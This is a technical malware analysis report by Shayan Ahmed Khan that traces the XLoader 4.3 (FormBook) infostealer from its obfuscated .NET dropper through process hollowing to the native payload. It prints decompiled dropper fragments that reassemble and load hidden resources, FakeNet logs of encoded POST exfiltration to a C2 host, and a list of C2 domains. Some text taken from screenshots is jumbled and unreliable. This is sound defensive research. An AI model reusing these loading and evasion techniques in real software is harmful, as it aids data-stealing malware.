
Layers of **Deception**:

Analyzing the Complex Stages of XLoader Malware Evolution

Shayan Ahmed Khan



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Executive Summary

XLoader, an advanced evolution of the **FormBook** malware, stands out as a highly sophisticated cyber threat renowned for its dual functionality as an **information stealer** and a versatile downloader for malicious payloads. Noteworthy for its resilient nature, xLoader constantly adapts to the latest and most intricate **evasion techniques**, making it a formidable challenge for cybersecurity defenses. Its notoriety is heightened by its role as a commercial **Malware-as-a-service** solution, enabling cybercriminals to tailor and deploy the malware for diverse malicious activities. The malware's continuous evolution and ability to elude detection emphasize the critical need for robust cybersecurity measures to counter its intricate and multifaceted attacks, which target both individuals and organizations alike.


Key Findings:

- Initial Dropper: Xloader uses a similar initial dropper as some of the other infostealers like Remcos RAT and Agent Tesla. The initial dropper is a dotnet executable file, which contains multiple embedded DLLs which are extracted and decrypted at run-time to launch the payload which is the actual malware. The payload is launched using Process Hollowing in either itself or another running process, depending upon the configuration of the initial dropper.
- 2. Native Assembly Paylaod: Xloader is written in native low level asm/c language. There are no strings, imports and libraries found in this payload. Native assembly with the combination of c language already makes it much harder to analyze and detect than other infostealers like Remcos, Agent Tesla, NanoCore etc.
- 3. Anti-Analysis/VM Techniques: It uses advance techniques that detects if the malware is running in an analysis environment. The usage of advanced techniques makes sure that, anti-vm checks are not easily bypassed as simply as patching a jump condition or return condition.
- 4. **Custom Encryption Algorithms:** It uses a **Custom RC4** encryption/decryption algorithm with additional subtraction operations.
- 5. **API/String/Libraries Hashing:** Xloader uses **CRC32/BZIP2** hashing algorithm for its strings, libraries and APIs to hide its internal working.
- 6. **Encrypted Core Functions:** Xloader's core malicious functions are all encrypted that are decrypted at-run time and assembly is renewed or regenerated after all anti-vm checks have been bypassed and a key has been generated.
- 7. Unhooked Clean Ntdll: It uses a clean copy of ntdll manually mapped into its memory which bypass all hooks for ntdll APIs. It uses Native APIs for its malicious activities which are hidden from EDR solutions. This behavior is called "Lagos Island Method" of dll unhooking originating from the Userland Rootkit of same name.
- 8. **Persistence:** Xloader adds persistence using Run Registry Keys and copying itself in Program Files (x86).
- 9. **Privilege Escalation:** It escalates privileges only for copying itself in the Program Files (x86) and adding persistence. The privilege escalation is achieved by abusing DllHost.exe and COM objects.
- 10. **Process Injection:** Xloader relies heavily on process injection. It infects multiple processes in its execution and even migrate to a different process.
- 11. **Decoy C2s:** It uses a combination of decoy C2 servers and made significant effort to hide its real C2.

12. Form Grabber: Xloader is not just an infostealer. It also works as a form grabber. Inline hooks are injected into multiple victim processes to grab information before encryption is performed.

Overview

XLoader emerges as an exceptionally sophisticated infostealer and form grabber malware, distinguished by its adept use of advanced defense evasion techniques to maintain stealth and resilience. Beyond its evasive maneuvers, XLoader incorporates a myriad of anti-VM techniques, strategically avoiding execution in analysis environments. This malware's primary objective is data exfiltration, achieved through the theft and capture of sensitive information from a broad spectrum of applications, including browsers, email clients, FTP clients, and instant messaging apps. Notably, XLoader is designed to operate seamlessly across a variety of platforms, amplifying its threat level. Its multifaceted attack flow encompasses a strategic and systematic approach, making it a potent tool for cybercriminals seeking to compromise both individual users and organizational systems. The constant evolution of XLoader underscores the need for robust cybersecurity measures to counter its intricate and adaptable nature.



Xloader Attack Chain

Threat Report: XLoader 4.3

This section of the report provides a detailed technical analysis of **Xloader 4.3** malware. The flow of this report will be in order of steps that I performed during my analysis. This is one of the most complex pieces of malware that I have analyzed, and there are so many stages to its execution. I have tried to cover as much as possible in the given time, but if some things remain unanswered then I apologize beforehand. Now let us dive down into the technical details and internal workings of Xloader 4.3 previously known as **Formbook** infostealer.

Initial Detonation:

Starting with the initial detonation of xloader. I have detonated the malware in my isolated analysis environment in the presence of procmon, wireshark and other such analysis tools. **Nothing happened!!!** Which likely suggests that there are anti-analysis techniques in the malware. I tried detonating the malware again but this time, I had **renamed** my analysis tools and the execution started.

- Process tree shows that it started another instance of itself.
- Multiple DNS & HTTP request are sent to different domains.
- Deleted itself
- Request are sent through explorer.exe

☐ formbook.exe (6356)	C:\Users\shaddy\	DESKTOP-002IH "C:\U
formbook.exe (2604)	C:\Users\shaddy\	DESKTOP-002IH "C:\U

FakeNet-NG - "C:\Tools\FakeNet	t-NG\fakenet1.4.11\faken	et.exe" — 🗆 🗙
12/20/23 12:14:00 AM [like Gecko	HTTPListener80]	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) ^
12/20/23 12:14:00 AM [HTTPListener80]	Content-Type: application/x-www-form-urlencoded
12/20/23 12:14:00 AM [HTTPListener80]	Accept: */*
12/20/23 12:14:00 AM [HTTPListener80]	Referer: http://www.bocahkota.xyz/ip45/
12/20/23 12:14:00 AM [HTTPListener80]	Accept-Language: en-US
12/20/23 12:14:00 AM [HTTPListener80]	Accept-Encoding: gzip, deflate
12/20/23 12:14:00 AM [HTTPListener80]	
12/20/23 12:14:00 AM [HTTPListener80]	<pre>0cS-Z4Y2=2QBm4vZ2QFbPUU(jMfX_fVxXpLwoOBcgsB4_48R3DI4xnMHE0v5T0QtL2HQJpzDcYAa</pre>
		d9MhBj92lEvZNtmTWOX7_mjj8eTJIltU5OHwMeEWoEBnkQEC2mHlkKa0HOY7BouhNRysA).
12/20/23 12:14:00 AM [Storing HTTP POST headers and data to http_20231220_001400.txt.
12/20/23 12:14:03 AM [HTTPListener80]	POST /ip45/ HTTP/1.1
12/20/23 12:14:03 AM [HTTPListener80]	Host: www.bocahkota.xyz
12/20/23 12:14:03 AM [HTTPListener80]	Connection: close
12/20/23 12:14:03 AM [HTTPListener80]	Content-Length: 210
12/20/23 12:14:03 AM [HTTPListener80]	Cache-Control: no-cache
12/20/23 12:14:03 AM [HTTPListener80]	Origin: http://www.bocahkota.xyz
12/20/23 12:14:03 AM [HTTPListener80]	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0)
like Gecko		
12/20/23 12:14:03 AM [HTTPListener80]	Content-Type: application/x-www-form-urlencoded
12/20/23 12:14:03 AM [HTTPListener80]	Accept: */*
12/20/23 12:14:03 AM [HTTPListener80]	Referer: http://www.bocahkota.xyz/ip45/
12/20/23 12:14:03 AM [HTTPListener80]	Accept-Language: en-US
12/20/23 12:14:03 AM [HTTPListener80]	Accept-Encoding: gzip, deflate
12/20/23 12:14:03 AM [HTTPListener801	
12/20/23 12:14:03 AM [HTTPListener80]	<pre>@cS-Z4Y2=2QBm4vZ2QFbPX0PjAcP_Z1xYmrwoAhc8sBk_44JdDeIxmt3EPu5TPQtL4nQI0DDbYAW</pre>
	pi2Nfa4qvk2G1Ixb	ulMhgj6~FEsQttmCGOb7_mdj9DIJKNtU7GHw4qHcoEY40RTKEuMhziGiWWv5xdtgY9hr8ysbEz_5Ge
fnSlOAOfcOlF.		
12/20/23 12:14:03 AM [HTTPListener80]	Storing HTTP POST headers and data to http_20231220_001403.txt.

CaFngia96aTkhPGhijmqX-Iluj1_hx~k uzhez9zoDAn5XMo9Ns(CExPrelic4f(@	General Statistics Perf	formance Threads Token	Modules Memory	Environment Handles GPU Commen	rt	
W03XW8Ta-OaaT57KiÌhBGInbTm8lH84 TNy9_y8TdyKjsKP4bsMj1RwNgPgCfW	✓ Hide free regions				Strings	. Refresh
)Fo-lVOECNrALu9mNb9T53kvWWuwfnU9 /grzMqY2mA3ZzmOKmEvBt1~mfJhszO6\		Туре	Size Protect	Use	Total WS	Private WS 5 ^
ImAc-UvNA(o1lCiXORGjgY9y-GNxie	> 0x7650000	Private	4 kB RW		4 kB	4 kB
TH1RS1WR7TAVK71UF8BVBNGvHcM1B1	> 0x7660000	Private	12 kB RW		12 kB	12 kB
🔄 explorer.exe (2680) (0x77c0000 - 0x78ba000)		- 0	X		4 kB	
			1	C:\Windows\System32\en-US\hcpro	4 kB	
00000000 34 6b d6 e1 5e 3b 05 4c 2a	65 d8 de bd el 21 5:	f 4k^;.L*e!	A 1	C:\Windows\System32\en-US\Action	28 kB	
00000010 d2 2f 74 3c 9c 75 bf 87 88	96 de df a3 f3 62 50	c ./t<.ub\	2VV		4 kB	4 kB
00000020 d0 30 44 7c 15 df 6f 0c 0a			2W		4 kB	4 kB
00000030 8e ec 4a 2e 49 f2 1b 30 f8			w	Stack (thread 6608)	56 kB	56 kB
00000040 fc 57 30 f2 7b 8c ce cd 41			w	Stack (thread 3228)	16 kB	16 kB
00000050 ca cc a5 09 af 2f 96 e6 da			8WX	· · · · · · · · · · · · · · · · · · ·	1.000 kB	1
00000060 6b 04 a7 12 14 d6 36 00 43 00000070 de ad 28 d4 bd 7f df 3d 68			2WX		1.000 kB	
00000080 00 75 57 16 44 4b bf 33 58			8W	Stack (thread 6376)	32 kB	32 kB
00000090 58 80 c7 1f 9f fc c7 0a d4			WV.	Stack (thread 5376)	12 kB	12 kB
000000a0 39 cd 83 88 36 93 76 08 23	77 0a 51 0f 24 44 50	d 96.v.≢w.Q.\$D]	w	Stack (thread 5296)	24 kB	24 kB
000000b0 bc fe c2 d9 2f 62 e9 5d 47	9d 17 e6 8e e7 d3 c	4/b.]G	ew.		4 kB	4 kB
000000c0 99 49 d3 ea 32 4d 6d 52 c7			ew.		4 kB	4 kB
000000d0 ae df ed 30 fa 1b 0d c0 6b			aw.		4 kB	4 kB
000000e0 4f a6 7c d6 26 cc 02 c2 bc			ew.		4 kB	4 kB
000000f0 dd 3f 67 93 73 00 4f 71 cf			ew.		4 kB	4 kB
00000100 11 23 b4 4f 57 ae 76 b7 ee 00000110 f1 f8 85 9b 2a 81 dd cd 9e			ew.		4 kB	4 kB
00000110 11 10 05 95 24 01 dd cd 96			w		4 kB	4 kB
00000130 01 31 d5 33 7d f1 2e f0 2c		•	ew.		4 kB	4k8 ❤
00000140 22 e3 a4 f5 b0 b2 fc 2b 1b			CVV		-T ND	4KD *
00000150 3e be c8 70 a4 44 fb 31 3c	48 67 6d al 11 88 8	c >p.D.1 <hgm< td=""><td></td><td></td><td></td><td></td></hgm<>				
00000160 da 7d 3d 8f b3 4c 9e 37 b5						
00000170 41 19 30 5b b7 4b 99 e9 88						Close
00000180 40 al 5c 39 ld 78 00 e8 c4						
00000190 ae 07 9a bd ac b3 15 54 51		dTQ2 37~wS[.D-liY.				

Few of the resolved domains are listed below:

- hxxp:\\www.twin68s.online
- hxxp:\\www.cicreception2023.org
- hxxp:\\www.morubixaba.com
- hxxp:\\www.gestionamostualquiler.org
- hxxp:\\www.superios.info
- hxxp:\\www.bocahkota.xyz
- hxxp:\\www.lolisex77.top
- hxxp:\\www.fhsbfjbsljsdfsd.xyz
- hxxp:\\www.mifurgoentuangar.fun
- hxxp:\\www.necessarymusthave.shop
- hxxp:\\www.abk-importexport.com
- hxxp:\\www.adoniadou.com
- hxxp:\\www.delret.tech
- hxxp:\\www.humidlandscaping.com
- hxxp:\\www.wlkwinn.net
- hxxp:\\www.8ai.ooo
- hxxp:\\www.minevisn.com
- hxxp:\\www.moheganmart.com
- hxxp:\\www.jacksonmoddy.com

Stage 1: Dropper

The initial dropper is a dotnet executable. It is similar to what other infostealers or RAT uses for dropping their payloads like Agent Tesla or Remcos RAT. The first step is always static analysis, which extracts suspicious strings for me and provide insight to the malware.

No	Strings	Details
1	System.Reflection	Loading assembly at run-time
2	ofnlepyTgnirtS (StringTypeInfo) ofnIdohteM (MethodInfo)	Inverted strings shows an inverted resources is embedded inside
3	.edom SOD ni nur eb tonnac margorp sihT! (!This program cannot be run in DOS mode)	Inverted resource is another binary
4	System.Activator	Activating assembly at run-time

The extracted strings suggest 3 main points:

- Dropper is obfuscated that loads other assemblies at run-time
- Further resources are inverted to avoid signature-based detection
- Must have more than 1 assemblies

In the initial dropper, there is a lot of junk code added to divert the focus of analyst. The few lines of malicious code are spread through the whole code.

220	// Token: 0x06000022 RID: 34 RVA: 0x000037	04 File Offset: 0x00001904
221	private void InitializeComponent()	
222		
223	ChartArea chartArea = new ChartArea();	
224	Legend legend = new Legend();	JUNK
225	Series series = new Series();	
226	ComponentResourceManager componentReso	<pre>urceManager = new ComponentResourceManager(typeof(View));</pre>
227	<pre>this.main_chart = new Chart();</pre>	
228	<pre>this.a_tb = new TextBox();</pre>	
229	<pre>this.label1 = new Label();</pre>	
230	<pre>this.label2 = new Label();</pre>	
231	<pre>this.label3 = new Label();</pre>	JUNK
232	<pre>this.label4 = new Label();</pre>	
233	<pre>List<byte> list = new List<byte>();</byte></byte></pre>	
234	<pre>byte[] array = (byte[])componentResour</pre>	ceManager.GetObject("Quartz");
235	Array.Reverse(array);	
236	list.AddRange(array);	
237	list.AddRange((byte[])componentResourc	eManager.GetObject("Versa"));
238	<pre>list.AddRange((byte[])componentResourc</pre>	eManager.GetObject("Zinc"));
239	<pre>this.label5 = new Label();</pre>	
240	<pre>this.label6 = new Label();</pre>	
241	<pre>this.label7 = new Label();</pre>	
242	<pre>this.label8 = new Label();</pre>	
243	<pre>this.label9 = new Label();</pre>	
244	<pre>this.label10 = new Label();</pre>	
245	<pre>this.label11 = new Label();</pre>	
246	<pre>this.label12 = new Label();</pre>	
247	<pre>this.label13 = new Label();</pre>	
248	<pre>this.label14 = new Label();</pre>	
249	<pre>this.label15 = new Label();</pre>	
250	<pre>this.label16 = new Label();</pre>	JUNK
251	<pre>this.label17 = new Label();</pre>	
252	<pre>this.label18 = new Label();</pre>	
253	<pre>this.accept_button = new Button();</pre>	
254	<pre>this.next_button = new Button();</pre>	
255	<pre>this.n_tb = new TextBox();</pre>	
256	<pre>this.k_tb = new TextBox();</pre>	
257	<pre>this.lambda_tb = new TextBox();</pre>	
258	<pre>this.h_tb = new TextBox();</pre>	
259	<pre>this.min_beta_tb = new TextBox();</pre>	
260	<pre>this.max beta tb = new TextBox();</pre>	

The relevant lines of code shows that malware is loading binary from 3 different resources:

- Quartz which is also reversed
- Versa
- Zinc

These 3 are the malicious resources that are combined and loaded at run-time for further execution. After going through a lot of junk code, I came across the line of code that resolves this assembly at run-time and create instance of resource followed by loading the first method using **System.Activator** class.

276	<pre>this.min_e_tb = new TextBox();</pre>
277	<pre>this.max_e_tb = new TextBox();</pre>
278	((ISupportInitialize)this.main_chart).BeginInit();
279	_base.SuspendLayout():
280	Assembly assembly = Assembly.Load(list.ToArray());
281	<pre>string[] array2 = new string[] { "Cr", "eate", "Inst", "ance" };</pre>
282	Type.GetType("System.Activator").InvokeMember(string.Join("", array2), BindingFlags.InvokeMethod, null, null, new object[]
283	
284	<pre>assembly.GetExportedTypes()[0],</pre>
285	Quantum.Transformation
286	});

Since, stage1 malware resolves assemblies at run-time and activate the method from resolved assemblies therefore static analysis is not possible ahead of this step, so I shifted to dynamic analysis.

- The runtime binary that has been loaded can be seen in the modules window.
- The name of runtime generated binary is **pendulum**. In the code, the malware is invoking the first member returned by the GetExportedTypes which means the first member of exports would be executed.
- We can locate the first function in the pendulum binary and set the breakpoint ahead to stop and debug it.

<pre>279 base.SuspendLayout(); 280 Assembly assembly assembly.Load(list.ToArray()); 281 string[] array2 = new string[] { "Cr", "eate", "Inst", "ance" }; 282 [Type.GetType("System.Activator").InvokeMember(string.Join("", array2), BindingFlags.InvokeMethod, null, null, new object[] 283 [assembly.GetExportedTypes()[0], 284 [assembly.GetExportedTypes()[0], 285 [Quantum.Transformation 286 [}); 287 [this.main_chart.Anchor = AnchorStyles.Top AnchorStyles.Bottom AnchorStyles.Left AnchorStyles.Right; 289 [chartAcoa brooke chartAcoa]];</pre>										
Modules Process All		Search								
Name			InMemory	Order	Version	Timestamp	Address	Process	AppDomain	Path
formbook.exe	No	No	No		0.0.0.0	4/12/2023 5:21:49 PM	002E0000-0036E000	[0xA40] formbook.exe		C:\Users\shad
	No	No	No		4.8.9181.0 built by: NET481REL1LAST_C	7/19/2023 5:20:06 PM	05CB0000-06268000	[0xA40] formbook.exe	[1] formbook.exe	C:\Windows\I
巴 System.dll	No	No	No		4.8.9206.0 built by: NET481REL1LAST_B	10/31/2023 7:41:35 PM	056F0000-05A4E000	[0xA40] formbook.exe	[1] formbook.exe	C:\Windows\/
	No	No	No		4.8.9037.0 built by: NET481REL1	6/24/2022 3:31:41 PM	04E70000-04F02000	[0xA40] formbook.exe		C:\Windows\M
P System.Drawing.dll										
	No	No	No		4.8.9037.0 built by: NET481REL1	6/24/2022 3:31:22 PM	050D0000-05136000	[0xA40] formbook.exe	[1] formbook.exe	C:\Windows\N
System.Configuration.dll		No No	No No		4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1	6/24/2022 3:31:22 PM 6/24/2022 3:31:30 PM	050D0000-05136000 06500000-06784000	[0xA40] formbook.exe [0xA40] formbook.exe		
System.Configuration.dll	No								[1] formbook.exe	C:\Windows\M
System.Drawing.dll System.Configuration.dll System.Xml.dll Accessibility.dll System.Windows.Forms	No No No	No	No		4.8.9037.0 built by: NET481REL1	6/24/2022 3:31:30 PM	06500000-06784000	[0xA40] formbook.exe	[1] formbook.exe [1] formbook.exe	C:\Windows\A C:\Windows\A

There are further binaries being resolved from the resource of first loaded DLL which is Pendulum. In the modules tab, we can trace which dlls are being added and keep following through.

- Another binary that is being loaded at run-time from the resource of pendulum is the **cruiser.dll** which could be seen in the modules window. This binary undergoes gzip decompression and loaded using Activator class.
- This binary contains a few methods called "CausalitySource and SearchResult" which performs some kind of decryption of another third resource which will also be loaded on runtime.

	1088 1089 // Token: 0x06000005 RID: 5 RVA: 0x00002238 File Offset: 0x00000438 1090 public static void Dodge(string StringTypeInfo, string InputBlockSize, string EscapedIRemotingFormatter)										
•	<pre>public static volu congectring string typeInto, string inputsiocksize, string escapediatembulingrommatter) 1091 Thread.Sleep(44102); 1093 Type type = Canvas.GlobalAssemblyCache(Canvas.Magnatic()).GetType("Munoz.Himentater"); 1094 object obj = Activator.CreateInstance(type); 1095 StringTypeInfo = (string)type.GetWethod("CausalitySource").Invoke(obj, new object[] { StringTypeInfo }); 1096 InputBlockSize = (string)type.GetWethod("CausalitySource").Invoke(obj, new object[] { InputBlockSize }); 1097 Bitmap bitmap = Canvas.LowestBreakIteration(StringTypeInfo, EscapedIRemotingFormatter); 1098 byte[] array = Canvas.LowestBreakIteration(StringTypeInfo, Ison, 150, 150); 1099 array = (spreaterAterMed)(Tausa.Reschesult").Invoke(obj, new object[] { array.InputBlockSize }); 1091 </pre>										
	1100 1101 1102 1103 1104 }	Assembly as Canvas.Pars Environment	<pre>sembly = f ingState(.Exit(0);</pre>	Canvas.Glo assembly);	balAss	emblyCache(array);					
	odules										
Pr	ocess All	- ¥	Search								
	Name			InMemory			Timestamp	Address	Process	AppDomain	Path
	System.Xml.dll	No	No	No		4.8.9037.0 built by: NET481REL1	6/24/2022 3:31:30 PM	06500000-06784000	[0xA40] formbook.exe		
		No	No	No		4.8.9037.0 built by: NET481REL1	6/24/2022 3:10:57 PM	05BD0000-05BDA000	[0xA40] formbook.exe		
			No	No		4.8.9037.0	6/24/2022 3:28:03 PM	06790000-06936000	[0xA40] formbook.exe		
	Pendulum	No	No	Yes		1.0.0.0	4/11/2023 3:47:12 PM	08380000-08386800	[0xA40] formbook.exe		
巴				Yes		5.0.0.0	4/10/2023 3:01:02 AM	00820000-00825C00	[0xA40] formbook.exe		Cruiser

- The last resource that has been decrypted and loaded is called **Discompard.dll**.
- In the method of ParsingState, it could be seen that a method from this assembly is being called for further execution of malware.

	sembly ass e	empiy = 🕻	anvas, dro	Datwoo					
	n <mark>vas</mark> .Parsin	<u> </u>	assembly);						
1102 Env 1103 1	/ironment.	Exit(0);							
1105									
1105 // Toke	en: 0x06000	0006 RID:	: 6 RVA: 0	x00002	30C File Offset: 0x0000050C				
1106 private 1107 {	e static vo	oid Parsi	ingState(o	bject	TP)				
1107 1108 Type type = ((Assembly)TP).GetTypes()[20];									
1109 MethodInfo methodInfo = type.GetMethods()[29];									
1110 methodInfo.Invoke(null, null);									
100 % -									
Modules									
Process All	- ×	Search							
Name	Optimized	Dynamic	InMemory	Order	Version	Timestamp			
면 System.dll	No	NI-							
	NO	No	No	4	4.8.9206.0 built by: NET481REL1LAST_B	•			
P System.Drawing.dll	No	No No	No No	4 5	4.8.9206.0 built by: NET481REL1LAST_B 4.8.9037.0 built by: NET481REL1	•			
				4 5 6		10/31/2023 7:41:35 PM			
맘 System.Drawing.dll	No	No	No	4 5 6 7	4.8.9037.0 built by: NET481REL1	10/31/2023 7:41:35 PM 6/24/2022 3:31:41 PM			
맘 System.Drawing.dll 맘 System.Configuration.dll	No No	No No	No No	4 5 6 7 8	4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1	10/31/2023 7:41:35 PM 6/24/2022 3:31:41 PM 6/24/2022 3:31:22 PM			
Bystem.Drawing.dll Bystem.Configuration.dll Bystem.Xml.dll	No No No	No No No	No No No	4 5 7 8 9	4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1	10/31/2023 7:41:35 PM 6/24/2022 3:31:41 PM 6/24/2022 3:31:22 PM 6/24/2022 3:31:30 PM			
Image: System.Drawing.dll Image: System.Configuration.dll Image: System.Xml.dll Image: System.Xml.dll Image: System.Xml.dll	No No No No	No No No No	No No No	7 8	4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1	10/31/2023 7:41:35 PM 6/24/2022 3:31:41 PM 6/24/2022 3:31:22 PM 6/24/2022 3:31:30 PM 6/24/2022 3:10:57 PM			
Bystem.Drawing.dll Bystem.Configuration.dll System.Xml.dll Accessibility.dll System.Windows.Forms	No No No No No	No No No No	No No No No	7 8 9	4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1 4.8.9037.0 built by: NET481REL1	10/31/2023 7:41:35 PM 6/24/2022 3:31:41 PM 6/24/2022 3:31:22 PM 6/24/2022 3:31:30 PM 6/24/2022 3:10:57 PM 6/24/2022 3:28:03 PM			

- We can also see the names of classes and methods that are being called from this assembly in the locals. Using this information, we can then setup another breakpoint in the **Discompard.dll** method and continue debugging the 3rd resource.
- Again, we can explore the third binary and setup a breakpoint on the function that it tries to call.

1104							
1105 // Token: 0x06000006 RID: 6 RVA: 0							
1106 private static void ParsingState(o	bbject TP)						
1107 {							
1108 Type type = ((Assembly)TP).GetTypes()[20];							
1109 MethodInfo methodInfo = type.GetMethods()[29];							
1110 methodInfo.Invoke(null, null);							
1111 }							
100 % -							
Locals							
	Value	T					
Name		Туре					
System.Type.GetMethods returned	{System.Reflection.MethodInfo[0x0000060]}	System.Reflection.MethodInfo[]					
Þ 🤣 TP	{Discompard, Version=3.2.0.0, Culture=neutral, PublicKeyToken=null}	object [System.Reflection.Runtime					
👂 🔗 type	{Name = "kLSyeENxD6BMAeYADR" FullName = "SHEPeZA8U769EsDSdB.kLSyeENxD6BMAeYADR"}	System.Type (System.RuntimeType)					
👂 🤗 methodinfo	{Void NL7U9YA9Rs()}	System.Reflection.MethodInfo (Sy					

We have now entered the method called by the previous dll. This binary is highly obfuscated with random variable and class names. Normally, what I do is that I check if a deobfuscator like de4dot or some other tool is able to deobfuscate such a binary. If it is possible then I patch the resource and continue my debugging with the deobfuscated version. But in this case, it is very tricky because this resource is dependent upon two other binaries that are being called first and to patch all these will be such a headache. So, I decided to move forward with the obfuscated version and see if I could understand what it is doing from the local variables and return values.

- I kept stepping over and checking the variables and function returns.
- It skipped most of the flags but then I stepped over a function and a return value shows that another binary has been returned. The MZ bytes (4D 5A) could be seen in the array.

367 kLSyeENxD6BMAeYADR.pF7UuGEEDQ(k	LSyeENxD6BMAeYADR.BygaFSw	COK, text3);							
369 kLSyeENxD6BMAeYADR.Nyia4kU4K9 = prF ➡ 370 bool flag10 = kLSyeENxD6BMAeYADR.TG		<mark>6(</mark> prF80JBVZRiJ2T0Fkq .UDmimHqfLx(kLSyeENxD6BMAeYADR.Jh Q	a06ajRr), kLSyeENxD6BMAeYADR.	alraZD3vqR)					
372 { 373 kLSyeENxD6BMAeYADR.OiKURAgTGO()	if (flag10) { kLSyeENxD6BMAeYADR.QiKURAqTGQ();								
374 } 375 bool flag11 = kLSyeENxD6BMAeYADR.T6yaBMhNrG != 4; 376 if (flag11) 377 { KLSyeENxD6BMAeYADR.OXDUZehger(kLSyeENxD6BMAeYADR.T6yaBMhNrG, text);									
379									
Locals									
Name	Value		Туре						
SHEPeZA8U769EsDSdB.prF80JBVZRiJ2T0Fkq.UDmimHqfLx returned	[byte[0x0002E601]]		byte[]						
🤣 [0]	0x4D								
Ø [1]	0x5A								
Ø [2]	0x45								
Ø [3]									
🤣 [4]	0xE8								
Ø [5]	0x00								
6]	0x00								
Ø [7]	0x00								
[8]	0x00								
[9]	0x58								
[10]	0x83								
Ø [11]	0xE8								
Ø [12]	0x09								

- It confirms that this malware might perform some kind of injection or dump the binary in a file and execute it as a 2nd stage malware.
- I stepped into a function that is obfuscated but it looks like it is performing **process hollowing**, as the malware opens itself in a suspended state and ready to inject in the address space of this process.

⇒ 212	<pre>int num4 = array[41];</pre>								
213	int num5 = 0;								
214	bool flag5 = !kLSyeENxD6BMAe	YADR.SB4a7wSHKv(dlv5dekSwafe	eWcC7LB.i		bF6Z, num4	+ 8, ref	<pre>num5, 4, ref num);</pre>		
215	if (flag5)	f (flag5)							
216		Process Hacker [DESKTOP-002IHO	N\shaddy]	+ (Adm	ninistrator)			-	×
217 218	throw new Exception();	lacker View Tools Users Help							
219	bool flag6 = num3 == num5; 😴	🏂 Refresh 🛛 🎲 Options 🛛 🃸 Find h	andles or D	LLs 👂	🖌 System info	ormation	🗆 🗔 🗙	formbook	×
220	if (flag6)	rocesses Services Network Disk			-				
221									
222	bool flag7 = kLSyeENxE	Name	PID	CPU	I/O total	Private b	User name	Description	
223 224	if (flag7) {	🗙 🗐 dnSpy-x86.exe	4704	0.10		374.35 MB	DESKTOP-002IHON\shac	dnSpy-x86	
225	throw new Exceptic	 formbook.exe 	2624			43.97 MB	DESKTOP-002IHON\shac		
226	}	formbook.exe	3720			448 kB	DESKTOP-002IHON\shac		
227	<u>}</u>								
228	: : : : int num6 = lgqQNFuC1TxttCg								
229	<pre>int num7 = lgqQNFuC1TxttCg</pre>								
230	<pre>bool flag8 = false;</pre>								

- Stepped over few of the functions while checking RWX memory region of the process
- At one point it reserved the memory and then started writing shellcode into that memory in chunks
- It changes the execution of base image to the injected shellcode and finally resume the process using ResumeThread API.

iii formbo	ok.exe (3720	0) Propert	ies			-		throw	new Exceptio	Proc	ess Hacker I	DESKTOP	-002IHC	N\shaddy]+ (Adm	ninistrator)		Í.	_		×
Environmer	nt Handle	les Job		GPU	Disk and	Network	Comment			Hacker	View Too	ols User:	s Help								
		Performa		Threads	Token			6 = 1gc	qQNFuC1TxttCg	🤹 Refre	sh 🎲 Opt	tions 🛛 💣	音 Find H	andles or	DLLs 👂	A System in	formation	🗆 🗔 🗙	formbook		×
_						_		7 = 1gc	qQNFuC1TxttCg		s Services										
🗹 Hide fre	e regions				String	s	Refresh	ag8 = 1 8 = kL9	Talse; SyeENxD6BMAe\					PID	CPU	I/O total	Private b.,	. User name	Description	_	
Base add	dress	Туре			Size	Protect	. Use	ag9 = r	num8 == 0;		dnSpv-x86.ex	ve.		4704	0.08	000000	377.89 MB		1		
✓ 0x400		Private			188 kB		1	g9)		~	formbook			2624				B DESKTOP-002IHON\shac			
	x400000	Private		mit	188 kB			ow new	Exception():	1.161	14	ook.exe		3720				B DESKTOP-002IHON\shac			
> 0xc50		Image			568 kB		C: Users				Torr	UUNIENE		9160				DESIGN OVER TOTAL SHOE			
> 0xce0	0000	Private			128 kB	RW		ag10 =	lkLSyeENxD6												
> 0xd00	0000	Private		formhor	ok eve (37	(0x400	0000 - 0x42f0	000)			_		X								
> 0xd10		Mappe	ed 👘	Torriboo	JK.exe (Jr	20) (01400	000 - 084210	100)		_			^								
> 0xd30		Private		000000	Ad 5a 4	45 52 e8	00 00 00	00 58 83	8 e8 09 8b c8	83 MZEP	x		~								
> 0xd70		Mappe	ed 00						ff el 90 00				î								
> 0xd80		Private							0 00 00 00 00												
> 0xe00		Private							0 00 c0 00 00												
> 0x100		Private							4c cd 21 54												
> 0x779		Image) 63 61 6e 6e 20 44 4f 53												
> 0x7f5		Mappe	² u 00	0000070					0 00 00 00 00												
> 0x7f5 > 0x7ff		Mappe	00	0800000	bl lc é	6c cl f5	7d 02 92	f5 7d 02	2 92 f5 7d 02	92		.)									
> 0x7ff > 0x7ff		Private	00						f 92 f4 7d 02												
> 0x/ff > 0x7ff		Private	00						8 68 f5 7d 02												
	ff0000 fff2ed0000	Image) 00 00 00 00 3 3a 00 00 00												
2 07/11	12200000	Inage							5 3a 00 00 00 5 00 00 d4 02												
									0 00 00 10 00												
									0 00 00 02 00												
		<							0 00 00 00 00		•••••	····									
			- 00	J000110	00 f0 C	J2 00 00	02 00 00	00 00 00	00 02 00 40	81		a									

- This is the exact behavior of process hollowing.
- I dumped this shellcode to analyze the malware separately as a second stage payload.
- The stage2 malware is the real xloader payload.

Stage2: Xloader 4.3

Xloader is an infostealer malware that is the updated version of Formbook malware. It is sold on dark web for cheap prices with a MaaS architecture (Malware-as-a-Service). The authors of this malware put great effort in adding latest defense evasion techniques.

- Xloader aka Formbook is written in pure native assembly with a combination of c language
- The entropy is very high which suggests that there is embedded code or it might be packed
- There are 0 libraries, imports, strings found in this payload
- There are no valid strings other than the DOS message

□····································	property <u>footprint > sha256</u> first-bytes > hex first-bytes > text file > size entropy	value E62F64CE4660FAD7D3B7F76BE42E66DEE3318004 4D 5A 45 52 E8 00 00 00 00 58 83 E8 09 8B C8 83 0 M Z E RX
